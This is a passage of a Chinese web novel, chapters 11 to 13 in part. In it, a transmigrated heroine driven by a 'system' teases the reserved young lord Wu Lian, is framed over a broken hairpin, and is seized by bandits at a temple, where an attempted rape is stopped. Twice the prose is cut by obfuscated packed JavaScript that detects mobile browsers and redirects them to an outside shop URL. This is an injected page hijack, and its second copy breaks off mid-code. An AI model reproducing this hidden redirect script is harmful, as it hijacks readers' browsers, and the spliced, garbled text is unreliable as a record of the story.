真是好古板。 叶冬知有些不满地想,面上并未露出分毫,将已经脏了的帕子随手扔在地上,道: “既然没事那我们就回去吧,这里好臭,熏得我不舒服。” 邬涟低低应了一声。 想来她从小长在闺阁,头一次见这般场景,能忍到现在已是不易,确实是委屈她了。 他视线落在地上那块鹅黄的帕子,丝滑细腻的布料,边角处修有海棠花纹,在这暗淡的牢里也隐约散发出莹润的光泽。 昨夜的记忆涌上他的脑海。 她好像格外钟爱这个颜色,就连......小衣也是这颜色。 他附身快速拾起帕子,将其攥在袖中细细摩挲。 面前的女子走在前面,一截玉白的脖颈映入眼帘。 他忽然荒唐地想,那处脖颈是否也如这块锦帕一般,触感细滑。 11. 第 11 章 自上次从寨子里回来,叶冬知一连歇了好几天才缓过来。 原身身娇肉贵,体力又差,就走那几步路,回来一看,竟然连脚后跟都磨肿了。 不过好在系统的任务她完成的很好。 次日,天朗气清。 老夫人兴致一上来,便请了戏班子在府中搭了台子唱戏,让府内各个小姐少爷都去陪着她看戏。 台子搭在离万福堂不远的花园中,离台子几步远距离,被丫鬟小厮们布置好了一排座椅,每个座位旁皆有矮几方便饮茶品尝糕点。 叶冬知到时,老夫人已经入座,身侧有邬雯、邬彦兄妹陪着。 邬涟喜静,一个人坐在角落。 而此时,只有他旁边还有空位。 叶冬知立在原地,想起前几日与邬涟一同探案,她本以为她与对方的关系会因此亲近一些,毕竟也算一同经历过生死的人。 但自从那日回来,还未回府,邬涟待她便冷淡了许多,恍若那几日的相处是错觉一般。 于他而言,是他探案过程中的一点小插曲,插曲过去,他又变回了那个孤高淡漠的永定侯府大公子,一言一行,皆是客套疏离。 还没等叶冬知坐下去,坐着的邬涟先一步发现了她的存在。 兴许是今日的阳光算得上明媚,光束照在他半边脸上,显得越发白皙,而由此那双眼比平日显得更沉,像是一块流转着光晕的黑玉,正沉静地落在她的面上。 叶冬知今日着了一身海棠色春衫,发髻简单,只带了几只珠花,但她肤白唇红,这幅装扮,让人想到了枝头开得正盛的桃花。 邬涟自她身上收回目光,薄唇轻启: “坐。” 然而他等了片刻,也未等到叶冬知坐下,想起之前她的亲昵,邬涟心中竟意外地生出些不满来。 此时,叶冬知的脑海里,全是“滴滴滴”的系统提示音,她不堪其扰,微微皱起了细眉。 系统的声音似乎带了一点不寻常的亢奋: 【目标人物主动,将开启隐藏剧情与台词。】 坐下后她才发现,为了将戏看得更清楚,椅子相互之间都离得很近,叶冬知将手肘放在一侧的扶手上,甚至能与邬涟的手肘相触。 甫坐了一会,台上的人咿咿呀呀唱着戏,叶冬知一句也未曾听懂。暖洋洋的日头照着好不惬意,渐渐地,她困意上涌。 台上的戏越演越激烈,在场的人都沉浸在戏剧之中,唯有一人却心不在焉。 邬涟端坐于椅子上,侧目看向身侧不知什么时候睡着的人。她靠在椅背上,身子微微陷进去,蜷缩成小小一团被软垫包裹着。 头歪在一侧,头上的珠花正随着微风轻轻摇动,一双黛眉颦蹙着,看起来像是睡得不太安心。 纤长的睫毛在眼下投下一片阴影,红唇宛若两片桃花,微微开合着。口鼻呼出的热气喷洒在邬涟的衣袖上,那股灼热的温度似乎能透过衣料,攀上他的肌肤。 这幅样子,没有了平日的娇蛮,显得十分乖巧,另有一番引君采撷的味道。 他移开视线,端起矮几上的清茶饮了一口,才压下喉头奇异的干涩。 叶冬知是被鼓掌的声音惊醒的,她迷蒙地睁开眼,看见台上的人又换了一副样子,想来是在演另一出剧目了。 她揉了揉眼睛,才直起身来,喉间干涸,她顺手便将手中的茶盏端起来饮了一口。 茶味清淡却悠远,令人口齿留香。 自她端起茶盏的那一刻,身侧的人身体便已经绷紧,耳尖也不可抑制地攀上一层浅淡的红晕。 邬涟看见她娇润的唇印在杯缘上,那里,正是他方才饮茶的地方。 而此时,她的唇经过茶水的浸润,泛起一阵莹润的光泽,唇上浅淡的口脂也印在那处地方。 他几乎感到一阵战栗,令他心中升起羞耻不堪的念头。 她竟然、竟然同他饮了同一杯茶。 而当叶冬知觉得喉间仍是干涩,欲再次端起适才那杯茶时,一侧的邬涟却冷不丁开口了。 “叶小姐,这是我的茶盏。” 若是细听,便能察觉到这句话中隐隐夹杂着一股慌乱的意味。 叶冬知僵在原地,听见邬涟算得上不善的语气,脑子宕机。 她垂眼看见方才她饮过的那杯茶杯壁上印上了一抹唇脂,正放在邬涟的右手边,而她自己的右手边,正放着另一杯茶,完完整整,并无人动过。 百口莫辩的叶冬知憋了半晌,脸上现出几分窘色,才憋出一句,“抱歉,你喝我这杯吧。” 语罢,她便急匆匆地将自己那杯茶端到邬涟手边,换掉了已经动过的茶。 邬涟没再吱声,盯着台上的戏班子不语,只是拢在袖子里的手却紧紧攥着。 戏唱了一半,喝了些茶水难免有些内急,叶冬知解决完回来,正要前往座位上时却被人拦住了去路。 邬雯的目光有些阴沉,落在叶冬知穿的海棠色的春衫上,有了几分怒意。 她是什么意思,就非要跟自己穿一个颜色的衫子吗?上次也是,这次还是。 不过是有几分姿色,便打扮得花枝招展到处勾引人,她可没错过自家兄长在方才看戏时,眼神频频落到她的身上。 正满心腹诽时,她的视线落到叶冬知头上那根晶莹剔透的簪子上,心中的不满和怒气更积聚了几分。 那根簪子她之前就在库房里看上许久了,只是管家张叔不肯给,说是父亲留给叶冬知的。 思及此,她眼珠一转,计上心来,她今天,还非要得到不可。 顿时,邬雯的脸上绽出个笑容来,她亲亲热热挽住叶冬知的手,语气真挚而愧疚,“叶姐姐,前些日子我因自己不舒服,便将气撒到你的身上,但现在想来,我实在是过意不去,正巧我近日得了一只镯子,我瞧着,与叶姐姐是极为相配的,便想着来送给姐姐。” 只见邬雯从袖中掏出一只白玉镯子来,只是瞧着色泽算不上好,但邬雯口中喋喋不休说着别看这个镯子卖相不佳,但却有凝神静气的功效,总之是件难得的宝物。 叶冬知不语,也不打算接受这只镯子,但邬雯还是一个劲往她怀里塞,还笑盈盈说着她与这镯子有多相称。 邬雯面上依旧维持着无懈可击的笑容,内心却冷笑不已。她是没说错,这镯子乍一看倒是件宝物,但细看却杂质甚多,颜色斑驳,不正如叶冬知表面看起来纯情无辜,背地里却有许多肮脏心思吗? 叶冬知见推脱不了,无奈只得收下镯子,末了道了声谢谢。 见她收了镯子,邬雯露出个意味不明的笑容,才缓缓说出接下来的话。 她眉宇轻蹙,似有忧愁,叹了口气道:“我是真心喜欢叶姐姐的,所以才愿意将心爱之物赠予叶姐姐。” “只是......” 叶冬知扫过她脸上的神情,接了她的话茬,“只是什么?” 见她上钩,邬雯脸上的笑意倒是多了几分得意:“只是我近来得了一套碧玉的头面,我十分喜爱,前些日子因为我的粗心大意,不小心将其中的簪子给摔坏了,我叫人拿去修补,也无济于事。” 她话里的含义已经直白得不能再直白了,就算叶冬知是个傻子,也能听出几分了。 不就是想要她头上的簪子吗? 左右她也不想一直被纠缠。 闻言,便爽快地将头上的簪子拔下来,递到了邬雯的面前。 “给你。” 邬雯有些意外,似是没想到叶冬知竟然如此爽快,她都未费几番口舌便轻易得到了想要的东西,如此一来,她倒是有几分意尽阑珊了。 那股斗志便也被叶冬知无所谓的态度给浇灭了。 她接住簪子,唇角微微一扯,计上心来。 邬雯忽地手腕一松,簪子掉在地面,发出一声“叮!”的声音,转瞬便四分五裂。 其余几人被这声音给吸引了注意,邬彦率先上来,问道:“怎么了?” 邬雯见到叶冬知依旧神色淡淡的样子,心里更来气了。 装什么清高,之前为了不嫁给父亲要死要活,现在倒是老实了。 依她看,其实不就是舍不得侯府夫人的名头吗,此前的种种不过是为了博人眼球,手段真是下贱。 一想到她占着侯府夫人的位置,害得她永远只能是庶女,这口气,邬雯是无论如何也咽不下去。 于是,她双眉一皱,眼中顿时聚起泪水,听到兄长询问,便眼泪汪汪看着兄长道:“哥哥,方才我问叶姐姐想要看看她的簪子,叶姐姐不愿意给我,结果簪子不小心落到地上摔碎了。都是我的错,要是我不任性,就不会这样了,叶姐姐肯定会怪我的。” 邬彦心疼自家小妹,又看了一眼叶冬知漠然的神情,安慰道:“不会的,叶小姐不是小肚鸡肠之人。” 老夫人听见声音,也在丫鬟的搀扶下过来了,身侧丫鬟附在她耳边说了什么,片刻之后,老夫人看向叶冬知的眼神明显开始不善起来。 她开口道:“叶丫头,簪子碎了便碎了,何必追着人不放,你要是实在生气,改日老身陪你一支便是。” 叶冬知立在原地,一看便知道自己这是被人算计了。 老夫人这心也偏得太明显了,明显是欺负她一个孤女,摆明了要拿捏她。 不过,她又不是原身,可不是好欺负的。 闻言,她轻笑一声,“老夫人可真是着急,只听三小姐的一面之词,便认定是我欺负她,那我还说是她想要强抢我的簪子,结果失手摔碎了呢。” 老夫人在这府中向来是说一不二,除了邬涟,她是从没看过谁的脸色,听到叶冬知竟然敢反驳,顿时脸就沉了下来。 “雯丫头是我侯府的小姐,什么好东西没见过,怎会抢你的东西,你要是再胡诌诬陷她,别怪老身不讲情面。” 叶冬知没再说话了,有些人不肯相信你,不管怎么说都是没用的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525154|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可这倒给阿蔷急得不行:“不是这样的,是三小姐没有接稳,簪子才掉了下去!” 老夫人眼刀一扫,喝道:“主子说话,有你个奴婢什么事!” 阿蔷被吓住,眼圈顿时委屈地红了。 叶冬知上前一步,将阿蔷护在身后,淡声:“是她想要簪子,我给了,她接住又自己摔了。” 邬雯没有料到事情被揭穿,顿时有些慌了,但她很快又镇定下来,不管叶冬知如何说,反正兄长与祖母总是站在她这一边的。 思及此,她便哭得更厉害,缩在邬彦怀中哭的好不可怜,“叶姐姐,我没想到你竟然这样说我,不过本来就是我的错,要不是我好奇你的簪子,便不会摔坏了。” 老夫人怒不可遏,正要发作,却见邬涟自座椅上走过来,半蹲着身子,拿起一小块摔碎的簪子细细端详起来。 那块簪子本来是碧色,此时却不知沾染了什么,而呈现出一种淡淡的绯色来,只是簪子散落了一地,倒是无人注意。 邬涟站起身来,目光扫过邬雯座椅旁的矮几上,突然问道:“三妹方才是吃过梨酥吧?” 邬雯被问得一愣,下意识回道:“是的。” 邬涟将簪子都从地上捡起来,将其拼在一处,只见簪子的头上,赫然出现一条完整的浅绯色印记,不注意看,倒是不大能看得出。 叶冬知不动声色盯着邬涟的动作,见他敛眸继续道:“梨酥所用的一种香料,与这簪子上的一层桐油接触之后,便会让簪子的表面呈现出绯色。” 众人随着他的话向他手中的簪子看去,大半截簪子都有这种颜色,显然邬雯的手当时定是牢牢握住了簪子。只是,为何后面会掉下来,这其中就引人深思了。 卑劣的手段被当场戳穿,邬雯的脸一阵青一阵白,府中的人知道长兄最是公正,不会冤枉任何一个人,也不会偏袒任何一个人。 但到底是府中宠出来的小姐,老夫人都没发话,众人便匆匆揭过,只当这件事没有发生。 得知真相的邬彦心头涌过一阵愧疚,他不安地朝着叶冬知看去,却见她早已经回到了座位上,仿佛刚才被冤枉的人不是她一样。 戏已经过半,叶冬知无心再看,她侧目看向身侧的邬涟,正端坐于座上,目下无尘。 精致流畅的轮廓在光下映出一片侧影,双眸清亮,未曾掺杂半点杂质,就仿如他这个人一般,公正清明,是天上的谪仙,平静地俯视着这人间的闹剧。 叶冬知动了动唇,风将她的声音送到耳边。 “多谢。” 闻言,邬涟并未将目光落到她身上,只是淡声道:“我并不是在帮你,尽责而已。” 她默然,拂去心头的一点触动。 本来她还想多说几句,但端看对方的态度她便歇了心思。 台上的人依旧咿咿呀呀,沉默许久的叶冬知突地身体一滞,耳边响起系统的警告。 【滴滴滴!警告,任务将要超时,请宿主尽快完成任务。】 刚才的插曲让她几乎忘记了还有任务没做。 叶冬知扫过系统那栏“隐藏任务”的几个字。 所谓的隐藏任务原来是发生特定的肢体接触。 她抿抿唇,扫过在场众人的视线,最终落到邬涟的身上。 庭院内不时传来一阵阵清脆的鸟叫声,叶冬知伸出手指,踌躇着接近邬涟搭在扶手上的手臂。 她垂眸看去,他的手指纤长、骨节分明,线条流畅,指甲修剪得整整齐齐,仿若玉石雕琢而成。 就在要接近时,她却陡然生出一点退意,伸出的手又缩了回去。 邬涟虽视线落在台上,但用余光他能清楚地感受到身侧女子的犹豫。 她这次又想做什么?莫非依旧如前几次一般当着他的面,面不改色地说出令人羞耻的话。 思绪还在继续,手背却传来一阵异样。 他身子骤然绷紧,不知名的坚韧的东西正一寸一寸划过他的肌肤,那股酥麻的痒意从手背一直蔓延到每一个指节,最终在他的指间停下。 紧接着,那股令人难耐的痒意又从手心传来,在他掌心打着圈。而身侧人的挑逗还不仅仅于此,她像是不甘满足一般,竟然从袖口伸进他的袖子,顺着他的肌肤一路往上,所过之处,仿佛星火燎原,竟有愈燃愈烈的趋势。 一股又羞又臊的感觉直冲脑门,他太阳穴突突直跳,一把抓住正在作乱的柔荑,语气中带着点微不可察的羞愤,“你想做什么?” 他刻意压低了声音,有着台上人唱戏声音的掩盖,倒只有两人才能听得清。 叶冬知闻言,盯着他没有说话,只是那双眼睛含着水雾,像妖精的诱饵,等待着被蛊惑的人心甘情愿跳进陷阱。 片刻之后,她不答反问,娇声一笑,身子刻意朝着他凑近了几分,一股熟悉的幽香钻进邬涟的鼻腔,他本就单薄的唇此时绷得更紧。 “那大公子想让我做什么,又不做什么?” 12. 第 12 章 邬涟着实是没有想到,他的话非但没让她收敛,反而更变本加厉。 她到底清不清楚自己是什么身份,竟然不知羞耻地同自己的义子调起情来,她当他是什么?是那些任由女子玩弄差遣的纨绔吗? 良好的教养让他说不出什么话来,憋了半天,他也只道了一句,“自重。” 要说之前还是因为系统强迫,那么现在叶冬知倒是觉得欺负邬涟是真有几分意思了。 她反手挣脱邬涟的手,再次将手贴了上去,这次同方才不同,之前是用指尖在挑逗他,而这次她却直接将手覆在了男子的手上。 女子的手娇小柔软,甚至不能包裹住他的一半手掌,可那从未有过的奇异触觉却像一道电流一般迅速窜过邬涟的五脏六腑,令他浑身一僵。 察觉到他的不自在,叶冬知自喉咙溢出一声极低的轻笑,“可是,我觉得大公子好似很喜欢。” 像是被什么东西刺到一般,邬涟极快地甩开了她的手,眼瞳中墨色徐徐沉下,口吻又恢复了一贯的清冷自持。 “那不过是你的臆想。” 叶冬知的眼神扫过他另一侧被攥紧的衣袖,并不点破。 只是端起方才那杯茶,在他沉冷的视线下,又轻轻啜了一口,才端着茶盏意味不明道:“这茶,喝起来滋味倒是格外好,兴许......” 说着,她用自己涂了丹蔻的指尖轻轻点了点莹润的红唇,眼中流转的光晕分明写着勾引二字。 “兴许是大公子在此的原因。” 这等动作,无非不就是在提醒邬涟方才两人在同一个位置饮了同一杯茶的事实。 这等羞耻的事,落在邬涟的眼中就是两个人间接地亲吻,她怎么好意思当着他的面,毫不在乎地提起此事。 寻常女子若是遇见这般,定会面红耳赤、语无伦次,她竟然还一而再再而三地去品那杯茶,就仿佛她的唇反复碾在他的唇上,实在是、实在是不知羞耻! 邬涟面色浅淡,耳尖却有着可疑的红晕,他决定不再理会叶冬知,想借台上的戏剧来转移注意力。 然而下一刻,她幽幽叹息一声,口中呼出的热气仿佛喷洒到他的面上,夹杂着令人无措的滚烫。 “不过真是可惜了,我见那簪子与大公子甚是相称,原本是想送给大公子当做前几日护我的谢礼,只是如今碎了。” 邬涟半垂着眸,仿佛并未听见她的话。 他听见她继续幽幽道:“既如此,那我便只能从别的方面来补偿大公子了。” “别的”二字她刻意说得极缓极慢,女子缠绵的低吟和她眼中明晃晃的勾引,只会让人将这“补偿”想到不可言说的一方面去。 自然,邬涟也未例外。 他的视线不由自主落到她白腻的脖颈上,纤弱得一只手就能掌控,她的肩又窄又薄,仿佛承受不起重物。她慵懒地靠在椅子上,腰肢细得单手就能握住,而腰肢之下,饱满的曲线隐在衣衫之中。 喉咙隐隐发紧。 叶冬知半垂着眸子却敏锐地捕捉到他的目光,但当她抬起头又仿佛方才是个幻觉。 她忽地问道:“大公子方才是在看我?” 邬涟眼神落在她殷红的唇上,片刻之后才移开目光,但却没有回答。 叶冬知目光从他的纤长的眼睫一直到利落的轮廓,最后停在了他泛着绯色的耳廓上。 她凑近邬涟,近到能隐约闻到他身上的沉香,他眉头微皱,却并未表露出分毫的厌恶和抗拒,只是身子不由自主向一侧移了移。 台上的丝竹之声骤停,耳边也响起鼓掌的声音,在这般嘈杂的环境里,邬涟却只听见她说的几个字: “大公子,你的耳朵又红了哦。” 毋庸置疑,她的语气俏皮又夹带着幸灾乐祸的意味,像是猎人终于发现猎物的破绽。 而他,正是她的猎物。 脑子像是被什么东西扰乱,只余一片空白,唯有心脏砰砰跳起来。 他沉默地僵坐了一会,敛去眸中的异色,才突地站起身来,径直走出了庭院。 只是步伐怎么看,都有几分落荒而逃的意味。 叶冬知好心情地望着他离去的背影,谁能想到侯府大公子竟是个纯情到不能再纯情的人呢,仅仅几番言语上的撩拨,便能见到他方寸大乱的模样。 * 回到院子,邬雯还未进门,就被自己的兄长拦在了门口。 邬彦神色不虞,今日的事情着实让他有些失望,他没想到,一向疼爱的小妹竟是如此心机深沉之人。 他眉头微皱,道:“阿雯,叶小姐并未招惹你,你今日为何要撒谎为难她。” 闻言,邬雯的脚步一顿,她今日被长兄当面揭穿,本就心中憋着一口怨气,如今自己的亲生哥哥不帮着自己便算了,竟还跑来质问她。 顿时她眼眶便红了,但她自小在府中是被捧着长大的,身为侯府小姐的尊严不允许她低头,即便那人是自己兄长。 她盯着邬彦,嘴上不服输道:“我为难她?她也配?不过是寄人篱下的东西,还未嫁进府中便俨然是一副主子的样子,我这是杀杀她的锐气。我这时不给她一点颜色瞧瞧,恐怕之后被她拿捏在手中也说不定的。” 见到自己的小妹竟然如此冥顽不灵,邬彦气上头来,到底是才十七八的少年,心性还不够成熟,火气一上来便道:“那你自己看看你今天做的好事,若不是有祖母在,你知道长兄会怎么惩罚你吗?” 听他提到邬涟,邬雯的眼中闪过明晃晃的不屑和嫉妒,“你倒是好,一口一个长兄,真把他当做亲兄长了,不知道哪里的野种,要不是攀上侯府这棵高枝儿,他兴许早就饿死了!” “阿雯!” 邬彦低呵一声,“长兄平日待我们不薄,你怎么能这样说!” 历来温吞的兄长竟然为了一个来历不明的人对自己大吼大叫,邬雯眼睛死死盯着邬彦,眼里像断了线的珍珠,一溜烟便全都滚了下来。 她的情绪在这一刻被不服与委屈填满,她冲着邬彦大吼一声,“邬彦,你就是个孬种!你流着侯府的血竟然怕一个野种,说出去都要被人笑掉大牙!” “你!”闻言,邬彦眉头狠狠一跳,自家小妹膈应人的本事可真是一点不含糊。 看着邬彦说不出话,邬雯将头一扬,将眼角的眼泪悉数抹去,她不再理会邬彦,向着自己的房间走去。 似乎是心中的怒气没有完全发泄完,她突然想起来什么,扭头对着邬彦露出嘲讽的笑:“还有,我知道哥哥为何方才跑来向我兴师问罪,无非就是你被那狐媚子给勾走了心!” 被戳穿心思的邬彦脸色涨红,下意识反驳道:“我没有!阿雯你真是气糊涂了!” 邬雯冷哼一声,“是与不是,你自己心里清楚。” 语罢,便将房门“啪”地一声关上。 站在院内的邬彦无奈又气愤地捏了捏拳头,才一甩袖子,踏出了院子。 * 又过了几日,老夫人要去空寂寺烧香跪拜。 老夫人一向信佛,每次都要带着府中小辈前去。 一来,这是每月都要做的事,为了给在边疆戍边的永定侯祈福,二来,恰逢梵空大师游历归来,且梵空大师又是得道的高僧,这番机缘自是不能错过。 如今已到仲春,两侧去往空寂寺的山路,桃花以及梨花开得极为烂漫。 这次去烧香,只有叶冬知与邬雯随行。 二少爷邬彦没来,他的课业实在太差,被夫子留下来补课。 至于邬涟,还在处理案子,说是处理完了再来空寂寺小住。 老夫人身子不好,精神气不太行,便一人坐了一辆马车,由此,叶冬知便与邬雯坐在了一起。 大概是前段时间的事闹得不大好看,是以这一路邬雯也一改往日假惺惺亲热和善的面孔,对叶冬知不理不睬,只是一个坐在垫子上,掀起车帘去看窗外的景色。 行了几个时辰,马车终于停在了空寂寺的门前。 空寂寺顾名思义,修建在空灵的山谷之中,四处碧树环绕,山泉流下形成一条小溪自门前流过。 寺庙的牌匾经过岁月的洗礼,已经有些斑驳脱落,但宽阔的台阶、门前穿着僧服的僧人,依旧能感受到一股扑面而来的古朴气息。 扫地的僧人见状,连忙走了过来,单手合十,道:“几位施主有何要事?” 老夫人挣开婢女的搀扶,也双手合十,虔诚道:“我们是来拜访梵空大师的,劳烦小师傅引荐。” “阿弥陀佛。”小师傅侧身将人往寺庙里引去,道:“请几位施主随我来。” 几人随着小僧人进了院子,院子中的树木皆高大繁茂,房屋简朴又雅致。 将几人安置好,老夫人便吩咐叶冬知与邬雯切勿乱跑,自己要去寻梵空大师讨教佛法。 一眨眼,时间便到了傍晚,叶冬知吃过斋饭,便躺在寺庙硬邦邦的床上企图入睡。 兴许是这幅身子虽出身算不得多高但到底还是个娇生惯养的小姐,竟然翻来覆去都睡不着。 正巧晚上吃的斋饭清汤寡水,叶冬知有些内急,便一个人出了门去寻恭房。 回来的时候,叶冬知却隐隐听见了说话的人声,听声音,好似来人并不少。 寺庙的院墙不算高,叶冬知踩在一块石头上,便能勉强通过院墙看向寺庙外面。 只见寺庙外面,约莫有十好几个人,皆身强力壮,其中一二人举着火把,在黑暗中照亮了众人的面庞。 叶冬知一眼扫过去,不禁倒吸一口冷气。 这群人皆着短打,肤色黝黑,身材精悍,面露凶相,一看便知是山匪水莽一类。 她忽地想起来,今早出发之前,一个早年做过水运的小厮说道:“郊外的凡是有一些名气的寺庙,极容易吸引官家夫人前去拜会,一些山匪便会提前打听消息,等人到寺庙,便将人都绑了,逼得府中的人拿钱去赎。” 看来,他们很不幸被盯上了。 眼下这群山匪就在离寺庙几十米外,寺庙只有正门一个出口,若是山匪想进来,定会从大门直接冲进来,目前时间紧迫,怕是来不及通知寺庙内的僧人和老夫人她们。 叶冬知不敢再逗留,连忙回了房,正要寻找一个可以躲藏的地方,却忽地想起来隔壁正睡着邬雯。 虽然她与邬雯不和,但也不至于见死不救。 思及此,她一头扎进邬雯所在的厢房, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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自盖板被打开的一瞬间,一股冲天的酸味冲了上来,邬雯连忙用袖子捂住鼻子,皱眉嫌弃道:“这是什么味儿?” 叶冬知不答话,只是顺着里面的梯子走了下去,里面的蔬菜并未占满,所以还有好大一块地方可以容纳两人藏身。 邬雯站在上头,正犹豫着要不要躲进去,她堂堂侯府之女,竟然要躲进一个菜窖里头,这要是传出去,她以后还有什么脸面在京都的贵女圈子混。 仿佛是看出她的犹豫,叶冬知站在下面冷不丁道:“最多半柱香,那些山匪就会寻到这里,你自己决定要不要下来吧。” 闻言,邬雯脸色一白,最终一咬牙一跺脚,还是乖乖顺着梯子爬了下来。接着两人又合力将盖板给盖上。 霎时间,菜窖陷入黑暗,邬雯坐在一堆酸菜之间,只觉得自己要被这又酸又臭的气味给熏晕。 果然不出叶冬知所料,在她们躲进菜窖不过片刻,那些山匪便闯进了院子,接着沉重的脚步声踏进了厢房。 一阵翻找的声音传来,接着一道粗声粗气,带着点塞北口音的男声道:“老大,这两个小娘们跑了!” “给我找,大门被锁了,她们跑不了多远的。” “是!老大!” 找了好一会,依旧不见人影,这时候,领头的山匪似乎也料到,时间不够充裕,两个弱女子定是来不及跑出去,一定躲在某个院子的角落。 这院子算不上大,只要好好细致地查找一番,定然有所收获。 听见山匪的脚步声越来越近,甚至于就在二人的头顶,邬雯吓得眼泪都流了出来,她死死捂住嘴巴不敢发出一点声音来。 好在这群山匪在头顶上转了好一会,也未发现什么异常,便陆陆续续地离开了院子,去往别处找去了。 两人也暂时放下心来。地窖里的气味确实算不上好闻,邬雯方才憋了气,此时忍不住大口大口呼吸着新鲜的空气,许是实在适应不了这呛鼻酸涩的气味,邬雯一个没忍住,打了个响亮的喷嚏。 叶冬知眉头一拧,立马反应过来捂住她的嘴。 可是已经来不及了。 地窖之内有回音,便越发让方才的声音更加响亮。 一声异响传来,最后的两个山匪听到动静停了脚步。 山匪的脚步声去而复返,叶冬知与邬雯二人的心又跳到了嗓子眼。 邬雯捂着自己的嘴,感觉到浑身几乎紧张得快要痉挛,她下意识朝着叶冬知所处的位置靠了过去。 只是黑灯瞎火,一点也看不出地窖内的情景,她微微一动,忽地碰到了一个浑身冰凉的坛子,手腕间的镯子碰在上面,发出清脆的一声“叮!” 邬雯浑身一僵,眼中隐忍的泪水一下子涌了出来,心跳到了嗓子眼。 叶冬知眉头一皱,心知要完,真是后悔自己将她带了出来。 果不其然,院子内极为寂静,上面的山匪一下便听清了声响,顺着声音摸索到两人藏身的地窖之处。 两个山匪一个用力,便将盖板抬了起来。 一人拿着火把靠近,只见地窖之中,两个美娇娘正一脸惊惧地看着两人。 13. 第 13 章 直到两人被带到老夫人一处,邬雯还在哭。叶冬知被她哭得心烦,直接坐到了一个角落。 老夫人一把抱住哭哭啼啼的邬雯,安抚地拍着她的后背道:“别哭,祖母在这里呢,已经叫人通知你长兄了,他会来救咱们的。” 时间一点点过去,被关的几人望穿秋水,直到天明,有人将门给打开来了。 一个碗盛着几个硬邦邦的馒头被人从打开的门缝塞了进来,老夫人本就身体不好,这饿了一晚上哪里受得住,对着外面的人有气无力道:“这没有水,怎么吃?” 外面的人啐了一口,不屑道:“爱吃不吃,老东西,还敢挑三拣四的!” 老夫人愣了一下,不敢再有要求。 又等了半天,仍旧是没有任何消息。 山匪有些着急了,这么久还没人来救,不会是联系了官府,带了官兵罢。 想到此处,领头的山匪便有些焦躁了,他一脚踹开木门,屋内的人顿时惊做一团。 他扫视了一眼屋内,粗声喝道:“你们的消息到底送出去没,别跟老子耍花招!” 屋内的人吓得不敢做声,寂静的室内让山匪更加烦躁,要是这个险也冒了,钱也没拿到,那损失可就大了。 他心头烦闷,想要找个人发泄一般,扫视到屋内的老妇身后躲着一个娇滴滴的美人,穿着一身娇嫩的桃红薄衫,看见他吓得眼泪汪汪,直往老妇身后躲。 山匪一下来了兴致,走到老夫人身侧,吓得老夫人惊叫一声,拉着邬雯的手颤颤巍巍道:“你想干什么!?” 山匪可不管什么尊老爱幼,一下子将老夫人掀翻在地,伸出手就去抓邬雯细弱的膀子。 邬雯吓得浑身打颤,眼泪一下子就从脸上滚了下来,惊恐叫道:“你干什么!我可是侯府的小姐!” 山匪一听,顿时笑得更为得意,看向邬雯的目光便愈发露骨和不怀好意,“小姐那正好,让老子尝尝你们这些贵女的滋味!” 语罢,便伸手就要去扯邬雯的衣裳,邬雯吓得涕泗横流,忽地眼珠一转,指着角落一侧的叶冬知,大声道:“那边那个长得更漂亮,她是侯府未来的夫人,身份比我尊贵!” 邬雯怕到极致,嘴巴打着颤,不管不顾继续道:“她最会勾引人!就连我兄长都被她勾引走了!她肯定更能让你舒服!” 这番话一出,山匪倒是有了几分兴趣,他松了邬雯的胳膊,走向坐在角落旁的叶冬知。 叶冬知心里冷笑,果然,她不该一时心软带走邬雯。 要是还有下次,她必定不会再发善心做圣母。 如邬雯所言,角落里的女子长得确实更为标致,身形单薄,曲线却窈窕,一张芙蓉面像春日勾人的桃花,就是坐在那里都流露出三分艳色。眼眸更是像含了水一般,勾得人心痒。 光是看着,山匪便已经觉得下.腹一紧,一股邪火匆匆往上冒。 他正要伸手去抓叶冬知的手臂,却被人拿了簪子狠狠刺了一下,顿时鲜血直流。 只见那娇滴滴的美人,隐在角落里,眼神像含冤的厉鬼,死死盯着他,红唇绷得很紧。 山匪吃痛,怒气横生,正要狠狠教训一下这个不知好歹的女人。 却闻那个女子开口了,“我是永定侯的未婚妻,你敢动我?” 话语虽狠厉,可唯有叶冬知自己知道,她藏在衣衫之中的手抖得厉害。 山匪闻言不屑一笑,眼神越发猥琐,“我管你是谁,老子干这行本来就是刀口舔血,睡了你这样的美人,老子就算明天死了也是赚大了!” 语罢,一把便将她一侧的袖子撕了个粉碎。 顿时,光洁白皙的臂膀暴露在空气之中。 山匪见状只觉邪火更甚,还对身后的手下说:“出去把门给我看着,等老子玩够了,这个娘们也赏给你们尝尝。” 叶冬知心跳得如同擂鼓,冷汗浸湿了后背,脑子在极致的恐惧下变得难以思考。 她现在双脚被绑着,手无缚鸡之力,而对方魁梧粗鲁,要怎么办,怎么才能逃脱? 山匪□□着解开裤腰带,正要扑上来,一把剑以极快的速度破开木门,随后狠狠将匪徒整个胸口贯穿。 与此同时,一支利剑也射中了他的脑袋,箭尖堪堪停在叶冬知面前,一滴血从箭尖上滚过来下来,溅在她的衣摆上。 众人被这突如其来的变故吓得尖叫出声。 叶冬知愣在原地,双目无法聚焦,胸膛剧烈起伏,一种劫后余生的感觉充斥着她整个身体。 此时,大门被人从外打开。 一个匪徒缓缓瘫坐下去,鲜血喷溅在门上。 而门外,乌发黑衣的人正立在门外,眉目冷冽,手中长剑上的血滴落,宛若溪流一般在他脚下汇聚。 他抬眸,与靠在墙壁的叶冬知四目相对。 还好,赶上了。 见来人是邬涟,众人一下像是有了主心骨,老夫人一把握住邬涟的手,哽咽道: “还好你来的及时,不然真不知道要发生些什么了!” 邬雯一言不发,她愣愣地盯着邬涟手中的剑。 